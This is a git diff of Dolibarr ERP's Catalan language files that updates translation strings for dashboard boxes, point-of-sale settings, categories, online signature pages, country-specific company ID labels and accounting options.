+BoxTitleLatestModifiedCandidatures=Últimes %s sol·licituds de feina modificades ForCustomersInvoices=Factures a clients ForCustomersOrders=Comandes de clients ForProposals=Pressupostos @@ -100,7 +103,7 @@ LastXMonthRolling=Els últims %s mesos consecutius ChooseBoxToAdd=Afegeix el panell a la teva taula de control BoxAdded=S'ha afegit el panell a la teva taula de control BoxTitleUserBirthdaysOfMonth=Aniversaris d'aquest mes (usuaris) -BoxLastManualEntries=Últim registre de comptabilitat introduït manualment o sense document d'origen +BoxLastManualEntries=Últim registre en comptabilitat introduït manualment o sense document d'origen BoxTitleLastManualEntries=%s últim registre introduït manualment o sense document d'origen NoRecordedManualEntries=No hi ha registres d'entrades manuals en comptabilitat BoxSuspenseAccount=Operació comptable de comptes amb compte de suspens @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=Clients que superen el límit pendent UsersHome=Usuaris i grups domèstics MembersHome=Membres a casa ThirdpartiesHome=Inici Tercers +productindex=Inici de productes i serveis +mrpindex=Inici MRP +commercialindex=Inici de comercial +projectsindex=Inici de projectes +invoiceindex=Inici de factures +hrmindex=Inici de factures TicketsHome=Entrades a casa +stockindex=Inici d'estocs +sendingindex=Inici d'enviaments +receptionindex=inici de recepcions +activityindex=Inici d'activitat +proposalindex=Inici de propostes +ordersindex=Inici de comandes +orderssuppliersindex=Inici de comandes a proveïdors +contractindex=Inici de contractes +interventionindex=Inici de intervencions +suppliersproposalsindex=Inici de propostes de proveïdors +donationindex=Inici de donacions +specialexpensesindex=Inici de despeses especials +expensereportindex=Inici de informe de despeses +mailingindex=Inici de correu massiu +opensurveyindex=Inici d'enquesta oberta AccountancyHome=Inici Comptabilitat ValidatedProjects=Projectes validats diff --git a/htdocs/langs/ca_ES/cashdesk.lang b/htdocs/langs/ca_ES/cashdesk.lang index 1067b12b9da..c94812d4892 100644 --- a/htdocs/langs/ca_ES/cashdesk.lang +++ b/htdocs/langs/ca_ES/cashdesk.lang @@ -30,7 +30,7 @@ BankToPay=Compte de cobrament ShowCompany=Veure empresa ShowStock=Veure magatzem DeleteArticle=Feu clic per treure aquest article -FilterRefOrLabelOrBC=Cerca (Ref/Etiq.) +FilterRefOrLabelOrBC=Cerca (Ref/Nom) UserNeedPermissionToEditStockToUsePos=Es demana disminuir l'estoc en la creació de la factura, de manera que l'usuari que utilitza el TPV ha de tenir permís per editar l'estoc. DolibarrReceiptPrinter=Impressora de tiquets de Dolibarr PointOfSale=Punt de venda @@ -59,7 +59,7 @@ BillsCoinsPad=Pad de monedes i bitllets DolistorePosCategory=Mòduls TakePOS i altres solucions POS per a Dolibarr TakeposNeedsCategories=TakePOS necessita almenys una categoria de productes per a funcionar TakeposNeedsAtLeastOnSubCategoryIntoParentCategory=TakePOS necessita almenys una categoria a sota de la categoria %s per funcionar -OrderNotes=Pot afegir algunes notes a cada element ordenat +OrderNotes=Afegir notes a cada article demanat CashDeskBankAccountFor=Compte predeterminat a utilitzar per als pagaments NoPaimementModesDefined=No hi ha cap mode de pagament definit a la configuració de TakePOS TicketVatGrouped=Agrupa IVA per tipus als tiquets|rebuts @@ -119,7 +119,7 @@ Appearance=Aparença HideCategoryImages=Amaga les imatges de la categoria HideProductImages=Amaga les imatges del producte NumberOfLinesToShow=Nombre de línies d'imatges a mostrar -DefineTablePlan=Definiu el pla de les taules +DefineTablePlan=Definiu el mapa de taules GiftReceiptButton=Afegeix un botó "Tiquet regal" GiftReceipt=Tiquet regal ModuleReceiptPrinterMustBeEnabled=La impressora de recepció del mòdul deu haver estat habilitada primer @@ -131,9 +131,17 @@ ShowPriceHTOnReceipt = Mostra la columna amb el preu sense impostos (al rebut) CustomerDisplay=Visualització del client SplitSale=Venda dividida PrintWithoutDetailsButton=Afegeix el botó "Imprimeix sense detalls". -PrintWithoutDetailsLabelDefault=Etiqueta de línia per defecte a la impressió sense detalls +PrintWithoutDetailsLabelDefault=Nom de línia per defecte a la impressió sense detalls PrintWithoutDetails=Imprimeix sense detalls YearNotDefined=L'any no està definit TakeposBarcodeRuleToInsertProduct=Regla de codi de barres per inserir el producte -TakeposBarcodeRuleToInsertProductDesc=Regla per a extreure la referència del producte + una quantitat d'un codi de barres escanejat.
      Si està buit (valor per defecte), l'aplicació utilitzarà el codi de barres complet escanejat per a trobar el producte.

      Si es defineix, sintaxi ha de ser:
      ref: NB + Pr: NB + qd: NB + altres: NB
      on NB és el nombre de caràcters a utilitzar per a extreure dades del codi de barres escanejat amb:
      • ref : referència del producte
      • qu : quantitat de conjunt a l'inserir elements (unitats)
      • qd : quantitat de conjunt a l'inserir article (decimals)
      • altra : altres caràcters
      +TakeposBarcodeRuleToInsertProductDesc=Regla per a extreure la referència del producte + una quantitat d'un codi de barres escanejat.
      Si està buit (valor per defecte), l'aplicació utilitzarà el codi de barres complet escanejat per a trobar el producte.

      Si es defineix, sintaxi ha de ser:
      ref: NB + Pr: NB + qd: NB + altres: NB
      on NB és el nombre de caràcters a utilitzar per a extreure dades del codi de barres escanejat amb:
      • ref : referència del producte
      • qu : quantitat de conjunt en inserir elements (unitats)
      • qd : quantitat de conjunt en inserir article (decimals)
      • altra : altres caràcters
      AlreadyPrinted=Ja està imprès +HideCategories=Amaga les categories +HideStockOnLine=Amaga l'estoc en línia +ShowOnlyProductInStock=Mostra els productes en estoc +ShowCategoryDescription=Mostra la descripció de la categoria +ShowProductReference=Mostra la referència dels productes +UsePriceHT=Utilitza el preu sense impostos i no el preu amb impostos inclosos +TerminalName=Terminal %s +TerminalNameDesc=Nom del terminal diff --git a/htdocs/langs/ca_ES/categories.lang b/htdocs/langs/ca_ES/categories.lang index ccfbb202ba0..adad27d415f 100644 --- a/htdocs/langs/ca_ES/categories.lang +++ b/htdocs/langs/ca_ES/categories.lang @@ -29,12 +29,12 @@ NoSubCat=Cap subcategoria. SubCatOf=Subcategoria FoundCats=Etiquetes trobades ImpossibleAddCat=Impossible afegir l'etiqueta %s -WasAddedSuccessfully=s'ha afegit amb èxit. -ObjectAlreadyLinkedToCategory=L'element ja està enllaçat a aquesta etiqueta +WasAddedSuccessfully= %s s'ha afegit correctament. +ObjectAlreadyLinkedToCategory=L'element ja està enllaçat a aquesta etiqueta. ProductIsInCategories=El producte/servei està enllaçat a les següents etiquetes CompanyIsInCustomersCategories=Aquest tercer està enllaçat a les següents etiquetes de clients i clients potencials CompanyIsInSuppliersCategories=Aquest tercer està enllaçat a les següents etiquetes de proveïdors -MemberIsInCategories=Aquest soci està enllçat a les següents etiquetes de socis +MemberIsInCategories=Aquest soci està enllaçat amb les següents etiquetes de socis ContactIsInCategories=Aquest contacte està enllaçat amb les següents etiquetes de contactes ProductHasNoCategory=Aquest producte/servei no es troba en cap etiqueta CompanyHasNoCategory=Aquest tercer no es troba en cap etiqueta / categoria @@ -42,6 +42,7 @@ MemberHasNoCategory=Aquest soci no es troba en cap etiqueta ContactHasNoCategory=Aquest contacte no es troba en cap etiqueta ProjectHasNoCategory=Aquest projecte no es troba en cap etiqueta ClassifyInCategory=Afegeix a una etiqueta +RemoveCategory=Elimina la categoria NotCategorized=Sense etiqueta CategoryExistsAtSameLevel=Aquesta categoria ja existeix per aquesta referència ContentsVisibleByAllShort=Contingut visible per tots @@ -67,7 +68,8 @@ StockCategoriesShort=Etiquetes / categories de magatzem ThisCategoryHasNoItems=Aquesta categoria no conté cap element. CategId=ID d'etiqueta ParentCategory=Etiqueta mare -ParentCategoryLabel=Descripció de l'etiqueta mare +ParentCategoryID=ID de l'etiqueta/categoria principal +ParentCategoryLabel=Nom de l'etiqueta mare CatSupList=Llista d'etiquetes de proveïdors CatCusList=Llista d'etiquetes de clients/potencials CatProdList=Llistat d'etiquetes de productes @@ -86,7 +88,7 @@ DeleteFromCat=Elimina de l'etiqueta ExtraFieldsCategories=Atributs complementaris CategoriesSetup=Configuració d'etiquetes CategorieRecursiv=Enllaça amb l'etiqueta mare automàticament -CategorieRecursivHelp=Si l'opció està activada, quan afegiu un producte a una subcategoria, el producte també s’afegirà a la categoria pare. +CategorieRecursivHelp=Si l'opció està activada, quan afegiu un objecte a una subcategoria, l'objecte també s'afegirà a les categories mares. AddProductServiceIntoCategory=Afegir el següent producte/servei AddCustomerIntoCategory=Assigna la categoria al client AddSupplierIntoCategory=Assigna la categoria al proveïdor @@ -99,5 +101,5 @@ TicketsCategoriesArea=Categories d'entrades ActionCommCategoriesArea=Categories d'esdeveniments WebsitePagesCategoriesArea=Categories de Pàgines/Contenidors KnowledgemanagementsCategoriesArea=Categories de l'article KM -UseOrOperatorForCategories=Utilitzeu l'operador "O" per a les categories +UseOrOperatorForCategories=Utilitzeu l'operador «OR» per a les categories AddObjectIntoCategory=Afegeix un objecte a la categoria diff --git a/htdocs/langs/ca_ES/commercial.lang b/htdocs/langs/ca_ES/commercial.lang index 191ee60e8f0..d432e1a2abe 100644 --- a/htdocs/langs/ca_ES/commercial.lang +++ b/htdocs/langs/ca_ES/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Estat del pressupost DraftPropals=Pressupostos esborrany NoLimit=Sense límit ToOfferALinkForOnlineSignature=Enllaç per a la signatura en línia -WelcomeOnOnlineSignaturePage=Benvingut a la pàgina per a acceptar pressupostos de %s -ThisScreenAllowsYouToSignDocFrom=Aquesta pantalla us permet acceptar i signar, o rebutjar, una cotització / proposta comercial -ThisIsInformationOnDocumentToSign=Aquesta és la informació del document a acceptar o rebutjar +WelcomeOnOnlineSignaturePageProposal=Benvingut a la pàgina per a acceptar pressupostos de %s +WelcomeOnOnlineSignaturePageContract=Benvingut a la pàgina de signatura de contracte en PDF %s +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Aquesta pantalla us permet acceptar i signar, o rebutjar, una cotització / proposta comercial +ThisScreenAllowsYouToSignDocFromContract=Aquesta pantalla us permet signar el contracte en format PDF en línia. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Aquesta és la informació del document a acceptar o rebutjar +ThisIsInformationOnDocumentToSignContract=Aquesta és la informació del contracte per a signar +ThisIsInformationOnDocumentToSignFichinter=Aquesta és la informació sobre la intervenció a signar SignatureProposalRef=Signatura de pressupost / proposta comercial %s +SignatureContractRef=Signatura del contracte %s +SignatureFichinterRef=Signatura d'intervenció %s FeatureOnlineSignDisabled=La funcionalitat de signatura en línia estava desactivada o bé el document va ser generat abans que fos habilitada la funció diff --git a/htdocs/langs/ca_ES/companies.lang b/htdocs/langs/ca_ES/companies.lang index d98fa1ebfe0..f737d4b7413 100644 --- a/htdocs/langs/ca_ES/companies.lang +++ b/htdocs/langs/ca_ES/companies.lang @@ -108,7 +108,7 @@ SupplierCodeModel=Model de codi de proveïdor Gencod=Codi de barra GencodBuyPrice=Codi de barres de preu ref ##### Professional ID ##### -ProfId1Short=CIF/NIF +ProfId1Short=NIF ProfId2Short=Núm. S.S. ProfId3Short=CNAE ProfId4Short=Prof. id 4 @@ -120,25 +120,25 @@ ProfId3=ID professional 3 ProfId4=ID professional 4 ProfId5=ID professional 5 ProfId6=ID professional 6 -ProfId1AR=CIF/NIF +ProfId1AR=CUIT/CUIL ProfId2AR=Ingressos bruts ProfId3AR=- ProfId4AR=- ProfId5AR=- ProfId6AR=- -ProfId1AT=CIF/NIF +ProfId1AT=USt.-IdNr ProfId2AT=Núm. seguretat social ProfId3AT=CNAE ProfId4AT=- ProfId5AT=Número EORI ProfId6AT=- -ProfId1AU=CIF/NIF +ProfId1AU=ABN ProfId2AU=- ProfId3AU=- ProfId4AU=- ProfId5AU=- ProfId6AU=- -ProfId1BE=CIF/NIF +ProfId1BE=Número professional ProfId2BE=- ProfId3BE=- ProfId4BE=- @@ -152,11 +152,11 @@ ProfId4BR=CPF #ProfId6BR=INSS ProfId1CH=Número UID ProfId2CH=- -ProfId3CH=CIF/NIF +ProfId3CH=Número federal ProfId4CH=Num registre de comerç ProfId5CH=Número EORI ProfId6CH=- -ProfId1CL=CIF/NIF +ProfId1CL=R.U.T. ProfId2CL=- ProfId3CL=- ProfId4CL=- @@ -174,25 +174,25 @@ ProfId3ShortCM=Nº de decret de creació ProfId4ShortCM=Certificat de dipòsit núm. ProfId5ShortCM=Altres ProfId6ShortCM=- -ProfId1CO=CIF/NIF +ProfId1CO=Prof Id 1 (R.U.T.) ProfId2CO=- ProfId3CO=- ProfId4CO=- ProfId5CO=- ProfId6CO=- -ProfId1DE=CIF/NIF +ProfId1DE=Prof Id 1 (USt.-IdNr) ProfId2DE=Núm. seguretat social ProfId3DE=CNAE ProfId4DE=- ProfId5DE=Número EORI ProfId6DE=- -ProfId1ES=CIF/NIF +ProfId1ES=NIF ProfId2ES=Núm. seguretat social ProfId3ES=CNAE ProfId4ES=Núm. col·legiat ProfId5ES=Prof Id 5 (número EORI) ProfId6ES=- -ProfId1FR=CIF/NIF +ProfId1FR=SIREN ProfId2FR=Núm. seguretat social ProfId3FR=CNAE ProfId4FR=RCS/RM @@ -210,13 +210,13 @@ ProfId3GB=SIC ProfId4GB=- ProfId5GB=- ProfId6GB=- -ProfId1HN=CIF/NIF +ProfId1HN=RTN ProfId2HN=- ProfId3HN=- ProfId4HN=- ProfId5HN=- ProfId6HN=- -ProfId1IN=CIF/NIF +ProfId1IN=TIN ProfId2IN=Núm. seguretat social ProfId3IN=CNAE ProfId4IN=Id prof. 4 @@ -228,19 +228,19 @@ ProfId3IT=- ProfId4IT=- ProfId5IT=Número EORI ProfId6IT=- -ProfId1LU=CIF/NIF (R.C.S. Luxemburg) +ProfId1LU=R.C.S. Luxemburg ProfId2LU=Núm. S.S. (permís comercial) ProfId3LU=- ProfId4LU=- ProfId5LU=Número EORI ProfId6LU=- -ProfId1MA=CIF/NIF +ProfId1MA=R.C. ProfId2MA=Núm. seguretat social ProfId3MA=CNAE ProfId4MA=Id prof. 4 (C.N.S.S.) ProfId5MA=Id. prof. 5 (I.C.E.) ProfId6MA=- -ProfId1MX=CIF/NIF +ProfId1MX=R.F.C ProfId2MX=Núm. seguretat social ProfId3MX=CNAE ProfId4MX=- @@ -252,7 +252,7 @@ ProfId3NL=- ProfId4NL=- ProfId5NL=Número EORI ProfId6NL=- -ProfId1PT=CIF/NIF +ProfId1PT=NIPC ProfId2PT=Núm. seguretat social ProfId3PT=CNAE ProfId4PT=Conservatori @@ -264,7 +264,7 @@ ProfId3SN=- ProfId4SN=- ProfId5SN=- ProfId6SN=- -ProfId1TN=CIF/NIF +ProfId1TN=RC ProfId2TN=Matrícula fiscal ProfId3TN=CNAE ProfId4TN=CCC @@ -282,7 +282,7 @@ ProfId3RO=CAEN ProfId4RO=EUID ProfId5RO=Prof Id 5 (número EORI) ProfId6RO=- -ProfId1RU=CIF/NIF +ProfId1RU=OGRN ProfId2RU=Núm. seguretat social ProfId3RU=CNAE ProfId4RU=OKPO @@ -298,8 +298,8 @@ ProfId1DZ=RC ProfId2DZ=Art. ProfId3DZ=NIF ProfId4DZ=NIS -VATIntra=CIF/NIF Intracomunitari -VATIntraShort=CIF/NIF Intracomunitari +VATIntra=NIF Intracomunitari +VATIntraShort=NIF Intracomunitari VATIntraSyntaxIsValid=Sintaxi vàlida VATReturn=Devolució de l'IVA ProspectCustomer=Client potencial/Client @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Descompte relatiu CustomerAbsoluteDiscountShort=Descompte fixe CompanyHasRelativeDiscount=Aquest client té un descompte per defecte de %s%% CompanyHasNoRelativeDiscount=Aquest client no té descomptes relatius per defecte -HasRelativeDiscountFromSupplier=Teniu un descompte predeterminat de %s%% d'aquest proveïdor -HasNoRelativeDiscountFromSupplier=No tens descomptes relatius per defecte d'aquest proveïdor +HasRelativeDiscountFromSupplier=Teniu un descompte predeterminat de %s%% amb aquest proveïdor +HasNoRelativeDiscountFromSupplier=No hi ha descompte relatiu predeterminat amb aquest venedor CompanyHasAbsoluteDiscount=Aquest client té descomptes disponibles (notes de crèdit o bestretes) per %s %s CompanyHasDownPaymentOrCommercialDiscount=Aquest client té un descompte disponible (comercial, de pagament) per a %s%s CompanyHasCreditNote=Aquest client encara té abonaments per %s %s -HasNoAbsoluteDiscountFromSupplier=No teniu disponible cap crèdit de descompte per aquest proveïdor +HasNoAbsoluteDiscountFromSupplier=No hi ha descompte/crèdit disponible d'aquest venedor HasAbsoluteDiscountFromSupplier=Disposes de descomptes (notes de crèdits o pagaments pendents) per a %s %s d'aquest proveïdor HasDownPaymentOrCommercialDiscountFromSupplier=Teniu descomptes disponibles (comercials, pagaments inicials) de %s %s d'aquest proveïdor HasCreditNoteFromSupplier=Teniu notes de crèdit per a %s %s d'aquest proveïdor @@ -357,7 +357,7 @@ RequiredIfSupplier=Obligatori si un tercer és proveïdor ValidityControledByModule=Validesa controlada pel mòdul ThisIsModuleRules=Regles per a aquest mòdul ProspectToContact=Client potencial a contactar -CompanyDeleted=L'empresa "%s" ha estat eliminada +CompanyDeleted=L'empresa «%s» s'ha suprimit de la base de dades. ListOfContacts=Llistat de contactes ListOfContactsAddresses=Llistat de contactes ListOfThirdParties=Llista de tercers @@ -383,10 +383,10 @@ CapitalOf=Capital de %s EditCompany=Edita l'empresa ThisUserIsNot=Aquest usuari no és client potencial, client o proveïdor VATIntraCheck=Verificar -VATIntraCheckDesc=L'enllaç %s permet consultar el NIF intracomunitari al servei de control europeu. Es requereix accés a internet per a que el servei funcioni. +VATIntraCheckDesc=El NIF Intracomunitari ha d'incloure el prefix del país. L'enllaç %s utilitza el servei europeu de verificació de NIF (VIES) que requereix accés a Internet des del servidor Dolibarr. VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do VATIntraCheckableOnEUSite=Verifica el NIF Intracomunitari a la web de la Comissió Europea -VATIntraManualCheck=També podeu comprovar manualment al lloc web de la Comissió Europea %s +VATIntraManualCheck=També podeu comprovar manualment al lloc web de la Comissió Europea %s ErrorVATCheckMS_UNAVAILABLE=Comprovació impossible. El servei de comprovació no és prestat pel país membre (%s). NorProspectNorCustomer=Ni client, ni client potencial JuridicalStatus=Tipus d'entitat empresarial @@ -433,18 +433,18 @@ DolibarrLogin=Nom d'usuari de Dolibarr NoDolibarrAccess=Sense accés d'usuari ExportDataset_company_1=Tercers (empreses/entitats/persones físiques) i propietats ExportDataset_company_2=Contactes i propietats -ImportDataset_company_1=Usuaris i les seves propietats +ImportDataset_company_1=Tercers i les seves propietats ImportDataset_company_2=Contactes/Adreces i atributs addicionals de tercers ImportDataset_company_3=Comptes Bancaris de tercers ImportDataset_company_4=Tercers/Comercials (Assigna usuaris comercials / tercers) PriceLevel=Nivell de preus -PriceLevelLabels=Regles del nivell de preus +PriceLevelLabels=Noms de nivell de preu DeliveryAddress=Adreça d'enviament AddAddress=Afegeix adreça SupplierCategory=Categoria del proveïdor JuridicalStatus200=Independent DeleteFile=Elimina el fitxer -ConfirmDeleteFile=Esteu segur de voler eliminar aquest fitxer? +ConfirmDeleteFile=Esteu segur que voleu suprimir aquest fitxer %s? AllocateCommercial=Assignat a un agent comercial Organization=Organisme FiscalYearInformation=Informació de l'any fiscal @@ -462,7 +462,7 @@ ListSuppliersShort=Llistat de proveïdors ListProspectsShort=Llistat de clients potencials ListCustomersShort=Llistat de clients ThirdPartiesArea=Àrea de tercers i contactes -LastModifiedThirdParties=Últims tercers %s que van ser modificats +LastModifiedThirdParties=Últims %s tercers que s'han modificat UniqueThirdParties=Nombre total de tercers InActivity=Actiu ActivityCeased=Tancat @@ -498,3 +498,9 @@ RestOfEurope=Resta d'Europa (CEE) OutOfEurope=Fora d’Europa (CEE) CurrentOutstandingBillLate=Factura pendent actual en retard BecarefullChangeThirdpartyBeforeAddProductToInvoice=Ves amb compte, en funció de la configuració del preu del producte, has de canviar de tercer abans d’afegir el producte al TPV. +EmailAlreadyExistsPleaseRewriteYourCompanyName=El correu electrònic ja existeix, si us plau, reescriu el nom de la teva empresa +TwoRecordsOfCompanyName=Hi ha més d'un registre per a aquesta empresa, poseu-vos en contacte amb nosaltres per a completar la vostra sol·licitud d'associació +CompanySection=Secció d'empresa +ShowSocialNetworks=Mostra les xarxes socials +HideSocialNetworks=Amaga les xarxes socials + diff --git a/htdocs/langs/ca_ES/compta.lang b/htdocs/langs/ca_ES/compta.lang index e68a0629945..f3dc2c6aff7 100644 --- a/htdocs/langs/ca_ES/compta.lang +++ b/htdocs/langs/ca_ES/compta.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - compta MenuFinancial=Financera TaxModuleSetupToModifyRules=Aneu a Configuració del mòdul Impostos per a modificar les regles de càlcul -TaxModuleSetupToModifyRulesLT=Aneu a Configuració de l'empresa per a modificar les regles de càlcul +TaxModuleSetupToModifyRulesLT=Aneu a Configuració de l'empresa per a modificar les regles de càlcul OptionMode=Opció de gestió comptable OptionModeTrue=Opció Ingressos-Despeses OptionModeVirtual=Opció Crèdits-Deutes -OptionModeTrueDesc=En aquest mètode, el balanç es calcula sobre la base de les factures pagades.\nLa validesa de les xifres no està garantida ja que la gestió de la comptabilitat passa rigorosament les per entrades/sortides dels comptes mitjançant les factures.\n Nota: en aquesta versió, Dolibarr utilitza la data de pas de la factura a l'estat 'Validat' i no la data de pas a l'estat 'pagada'. -OptionModeVirtualDesc=En aquest mètode, el balanç es calcula sobre la base de les factures validades. Pagades o no, apareixen en el resultat quant siguin disposades. -FeatureIsSupportedInInOutModeOnly=Funció disponible només en el mode comptes CREDITS-DEUTES (Veure la configuració del mòdul comptes) +OptionModeTrueDesc=En aquest context, la facturació es calcula sobre els pagaments (data dels pagaments). La validesa de les xifres només està assegurada si la comptabilitat es controla mitjançant l'entrada/sortida dels comptes mitjançant factures. +OptionModeVirtualDesc=En aquest context, la facturació es calcula sobre les factures (data de validació). Quan es venguin aquestes factures, tant si s'han pagat com si no, s'enumeren a la sortida de la facturació. +FeatureIsSupportedInInOutModeOnly=Funció només disponible en el mode de comptabilitat CRÈDITS-DEUTES (vegeu la configuració del mòdul de comptabilitat) VATReportBuildWithOptionDefinedInModule=Els imports obtinguts es calculen segons la configuració del mòdul Impostos. LTReportBuildWithOptionDefinedInModule=Els imports obtinguts es calculen segons la configuració de l'Empresa Param=Configuració @@ -29,6 +29,8 @@ BalanceBefore=Balanç (abans) Balance=Saldo Debit=Dèbit Credit=Crèdit +AccountingDebit=Dèbit +AccountingCredit=Crèdit Piece=Doc. Comptabilitat AmountHTVATRealReceived=Total repercutit AmountHTVATRealPaid=Total pagat @@ -71,7 +73,7 @@ SocialContributions=Impostos varis SocialContributionsDeductibles=Impostos varis deduïbles SocialContributionsNondeductibles=Impostos varis no deduïbles DateOfSocialContribution=Data de l’impost social o fiscal -LabelContrib=Etiqueta de aportació +LabelContrib=Nom d'aportació TypeContrib=Tipus d'aportació MenuSpecialExpenses=Pagaments especials MenuTaxAndDividends=Impostos i càrregues @@ -130,19 +132,19 @@ ByThirdParties=Per tercer ByUserAuthorOfInvoice=Per autor de la factura CheckReceipt=Ingrés de xec CheckReceiptShort=Ingrés de xec -LastCheckReceiptShort=Últimes %s remeses de xec +LastCheckReceiptShort=Últims %s rebuts de xec NewCheckReceipt=Descompte nou NewCheckDeposit=Ingrés nou -NewCheckDepositOn=Crea remesa per ingressar al compte: %s +NewCheckDepositOn=Crear el rebut per a l'ingrés al compte: %s NoWaitingChecks=Sense xecs en espera de l'ingrés. DateChequeReceived=Comproveu la data de recepció NbOfCheques=Nombre de xecs PaySocialContribution=Pagar un impost varis PayVAT=Paga una declaració d’IVA PaySalary=Pagar una targeta salarial -ConfirmPaySocialContribution=Esteu segur que voleu classificar aquest impost varis com a pagat? -ConfirmPayVAT=Esteu segur que voleu classificar aquesta declaració d'IVA com a pagada? -ConfirmPaySalary=Esteu segur que voleu classificar aquesta targeta salarial com a pagada? +ConfirmPaySocialContribution=Esteu segur que voleu marcar aquest impost varis com a pagat? +ConfirmPayVAT=Esteu segur que voleu marcar aquesta declaració d'IVA com a pagada? +ConfirmPaySalary=Esteu segur que voleu marcar aquesta fitxa salarial com a pagada? DeleteSocialContribution=Elimina un pagament d'impost varis DeleteVAT=Suprimeix una declaració d’IVA DeleteSalary=Elimina una fitxa salarial @@ -190,7 +192,7 @@ LT2ReportByMonth=Informe IRPF per mes LT1ReportByCustomers=Informe impost 2 per part de tercers LT2ReportByCustomers=Informe impost 3 per part de tercers LT1ReportByCustomersES=Informe de RE per tercers -LT2ReportByCustomersES=Informe per tercer del IRPF +LT2ReportByCustomersES=Informe de tercers de l'IRPF VATReport=Informe de l’impost sobre les vendes VATReportByPeriods=Informe de l’impost sobre les vendes per període VATReportByMonth=Informe de l'impost sobre les vendes per mes @@ -203,14 +205,14 @@ VATReportShowByRateDetails=Mostra els detalls d'aquesta tarifa LT1ReportByQuarters=Informe impost 2 per tipus LT2ReportByQuarters=Informe impost 3 per tipus LT1ReportByQuartersES=Informe per taxa de RE -LT2ReportByQuartersES=Informe per taxa de IRPF +LT2ReportByQuartersES=Informe per taxa d'IRPF SeeVATReportInInputOutputMode=Vegeu l'informe %sIVA recaptat%s per a un càlcul estàndard SeeVATReportInDueDebtMode=Vegeu l'informe %sIVA degut%s per a un càlcul amb opció a la facturació RulesVATInServices=- Per als serveis, l'informe inclou l'IVA dels pagaments realment rebuts o pagats en funció de la data de pagament. RulesVATInProducts=- Per als actius materials, l'informe inclou l'IVA en funció de la data de pagament. RulesVATDueServices=- Per als serveis, l'informe inclou l'IVA de les factures vençudes, pagades o no, en funció de la data de la factura. RulesVATDueProducts=- Per als actius materials, l'informe inclou l'IVA de les factures vençudes, en funció de la data de la factura. -OptionVatInfoModuleComptabilite=Nota: Per als béns materials, caldria utilitzar la data de lliurament per per ser més just. +OptionVatInfoModuleComptabilite=Nota: Per als actius materials, s'hauria d'utilitzar la data de lliurament per a ser més just. ThisIsAnEstimatedValue=Aquesta és una vista prèvia, basada en esdeveniments empresarials i no des de la taula final del llibre major, de manera que els resultats finals poden diferir d'aquests valors de visualització prèvia PercentOfInvoice=%%/factura NotUsedForGoods=No utilitzat per als béns @@ -234,7 +236,7 @@ Pcg_subtype=Subtipus de compte InvoiceLinesToDispatch=Línies de factures a desglossar ByProductsAndServices=Per producte i servei RefExt=Ref. externa -ToCreateAPredefinedInvoice=Per a crear una plantilla de factura, creeu una factura estàndard, després, sense validar-la, feu clic al botó "%s". +ToCreateAPredefinedInvoice=Per a crear una plantilla de factura, creeu una factura estàndard, després, sense validar-la, feu clic al botó «%s». LinkedOrder=Enllaçar a una comanda Mode1=Mètode 1 Mode2=Mètode 2 @@ -244,13 +246,13 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=L'informe de volum de negoci TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=L'informe del volum de negocis cobrat per la venda no està disponible. Aquest informe només està disponible per a la facturació facturada. CalculationMode=Mode de càlcul AccountancyJournal=Diari de codi de comptable -ACCOUNTING_VAT_SOLD_ACCOUNT=Compte de comptabilitat per defecte per l'IVA en vendes (s'utilitza si no es defineix en la configuració del diccionari d'IVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Compte de comptabilitat per defecte per l'IVA en les compres (s'utilitza si no es defineix en la configuració del diccionari d'IVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Compte comptable per defecte per IVA pagat -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per a l'IVA a les vendes (utilitzat si no està definit a la configuració del diccionari d'IVA) +ACCOUNTING_VAT_BUY_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per a l'IVA a les compres (utilitzat si no està definit a la configuració del diccionari d'IVA) +ACCOUNTING_VAT_PAY_ACCOUNT=Compte (del pla comptable) que s'utilitzarà com a compte predeterminat per pagar l'IVA +ACCOUNTING_ACCOUNT_CUSTOMER=Compte (del pla comptable) utilitzat per a tercers «clients». ACCOUNTING_ACCOUNT_CUSTOMER_Desc=El compte comptable dedicat definit a la fitxa de tercer només s’utilitzarà per a la comptabilitat auxiliar. Aquest s'utilitzarà per al llibre major i com a valor per defecte de la comptabilitat auxiliar si no es defineix un compte comptable de client dedicat a tercers. -ACCOUNTING_ACCOUNT_SUPPLIER=Compte de comptabilitat utilitzat per tercers proveïdors -ACCOUNTING_ACCOUNT_SUPPLIER_Desc=El compte comptable dedicat definit a la fitxa de tercers només s'utilitzarà per al Llibre Major. Aquest serà utilitzat pel Llibre Major i com a valor predeterminat del subcompte si no es defineix un compte comptable a la fitxa del tercer. +ACCOUNTING_ACCOUNT_SUPPLIER=Compte (del pla comptable) utilitzat per a tercers «proveïdors». +ACCOUNTING_ACCOUNT_SUPPLIER_Desc=El compte comptable dedicat definit a la fitxa de tercers s'utilitzarà només per a la comptabilitat de subllibre. Aquest s'utilitzarà per al Llibre Major i com a valor predeterminat de la comptabilitat del subllibre si no es defineix un compte comptable de proveïdor dedicat a tercers. ConfirmCloneTax=Confirma el clonat d'un impost social / fiscal ConfirmCloneVAT=Confirma la còpia d’una declaració d’IVA ConfirmCloneSalary=Confirmeu el clon d'un salari @@ -258,9 +260,9 @@ CloneTaxForNextMonth=Clonar-la pel pròxim mes SimpleReport=Informe simple AddExtraReport=Informes addicionals (afegeix l'informe de clients nacionals i estrangers) OtherCountriesCustomersReport=Informe de clients estrangers -BasedOnTwoFirstLettersOfVATNumberBeingDifferentFromYourCompanyCountry=Basat en les dues primeres lletres del CIF que són diferents del codi de país de la teva empresa +BasedOnTwoFirstLettersOfVATNumberBeingDifferentFromYourCompanyCountry=Basat en que les dues primeres lletres del NIF són diferents del codi de país de la vostra empresa SameCountryCustomersWithVAT=Informe de clients nacionals 